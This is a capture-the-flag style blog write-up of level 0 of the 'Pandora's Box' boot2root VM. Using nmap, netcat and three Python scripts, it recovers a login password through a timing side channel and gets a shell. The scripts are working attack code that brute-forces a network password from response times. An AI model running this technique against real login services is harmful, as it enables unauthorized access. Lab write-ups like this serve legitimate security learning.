published on in writeup
tags: pandora's box

Pandora's Box: 1 - Level 0

Pandora’s Box is a boot2root VM written by c0ne. It focuses on binary exploitation and reverse engineering. You have to complete all 5 levels to root the box.

The binaries in this challenge are absolutely exquisite and extrememly well put together. I wanted to do rather comprehensive write-up’s for each binary, which would mean a *very* long article. For this reason, I decided to publish each level as a separate blog post.

Nmap

[email protected]:~/vulnhub/pbox/level_0# nmap -n -sS -p- 192.168.56.103

PORT      STATE SERVICE
22/tcp    open  ssh
54311/tcp open  unknown

Secure Remote Shell

The service on port 54311 can be connected to using netcat.

[email protected]:~/vulnhub/pbox/level_0# nc 192.168.56.103 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password:

A few passwords and some flattery didn’t get me very far.

Password: c0ne r0cks
Invalid password!

Whilst testing for overflows, I found that long strings are split and processed.

[email protected]:~/vulnhub/pbox/level_0# python -c 'print ("A" * 100)' | nc 192.168.56.103 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: Invalid password!
Password: Invalid password!

I then set out to find the maximum length of the buffer, to determine the maximum theoretical length of the password.

[email protected]:~/vulnhub/pbox/level_0# python -c 'print ("A" * 62)' | nc 192.168.56.103 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: Invalid password!
Password:

I did write a python script that would attempt passwords from the rockyou wordlist but nothing popped, and if the password was of any significant length a straight AAAA - ZZZZ bruteforce would take too long.

Time Based Attack

If you send keystrokes manually, you can see there is a difference in the amount of *time* it takes for the binary to return Invalid password!. The longer the string, the more pronounced the difference is.

You may need to watch it a few times to see. But we can confirm there’s a difference by timing it in python.

#!/usr/bin/env python

import socket, time

target = '192.168.56.103'
port = 54311

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

banner = s.recv(512)
prompt = s.recv(512)

s.send("A\n")

t0 = time.time()
response = s.recv(512)
prompt = s.recv(512)
t1 = time.time()

s.send("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")

t2 = time.time()
response = s.recv(512)
prompt = s.recv(512)
t3 = time.time()

print "Short: " + str(t1-t0)
print "Long: " + str(t3-t2)

s.close()
[email protected]:~/vulnhub/pbox/level_0# ./level_0.py 
Short: 0.0451579093933
Long: 0.26290678978

You can see there is a significantly longer wait for the error message to be returned after sending the longer string. We can take this a step further and time the response of a single character.

For just 1 run, the results were a bit hit-and-miss, so it’s better to send a character several times and work out the average response time.

#!/usr/bin/env python

import socket, time, string, numpy

target = '192.168.56.103'
port = 54311

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

banner = s.recv(512)
prompt = s.recv(512)

for char in (string.ascii_letters + string.digits + string.punctuation):

	t0 = time.time()
	s.send(char + "\n")
	s.recv(512)
	t1 = time.time()

	t2 = time.time()
	s.send(char + "\n")
	s.recv(512)
	t3 = time.time()

	t4 = time.time()
	s.send(char + "\n")
	s.recv(512)
	t5 = time.time()

	t6 = time.time()
	s.send(char + "\n")
	s.recv(512)
	t7 = time.time()

	times = [(t7-t6), (t5-t4), (t3-t2), (t1-t0)]
	average = numpy.mean(times)

	print char + ": " + str(average)

s.close()

If this is run a few times and sorted on the 2nd column, we can easily see that the letter R is consistently the quickest character to be returned.

[email protected]:~/vulnhub/pbox/level_0# ./level_0.py | sort -s -n -k 2,2 | head -n 5
R: 0.00170934200287
d: 0.0026016831398
b: 0.00287199020386
i: 0.00288355350494
g: 0.00291323661804

We can assume therefore, that the password begins with R. Finally, modify the script so that it will automatically move onto the next character to deciper the entire password. We will assume that if the character reponse is quicker than 0.002s, then it’s valid.

#!/usr/bin/env python

import socket, time, string, numpy, sys

target = '192.168.56.103'
port = 54311

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

banner = s.recv(512)
prompt = s.recv(512)

passwd = ''

for n in range(0, 62):
	for char in (string.ascii_letters + string.digits + string.punctuation):

		t0 = time.time()
		s.send(passwd + char + "\n")
		s.recv(512)
		t1 = time.time()

		t2 = time.time()
		s.send(passwd + char + "\n")
		s.recv(512)
		t3 = time.time()

		t4 = time.time()
		s.send(passwd + char + "\n")
		s.recv(512)
		t5 = time.time()

		t6 = time.time()
		s.send(passwd + char + "\n")
		s.recv(512)
		t7 = time.time()

		times = [(t7-t6), (t5-t4), (t3-t2), (t1-t0)]
		average = numpy.mean(times)

		if average < 0.002:
			passwd = passwd + char
			sys.stdout.write("\r" + passwd)
			sys.stdout.flush()
			break

s.close()

The whole thing derps out when it gets to the end of the valid password, but at least we got it.

[email protected]:~/vulnhub/pbox/level_0# ./level_0.py 
R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0daaaaaaaaaaaaaaaa
[email protected]:~/vulnhub/pbox/level_0# nc 192.168.56.103 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
Logged in successfully, type exit to close the shell
Shell$ id; whoami
uid=1001(level_0) gid=1001(level_0) groups=1001(level_0)
level_0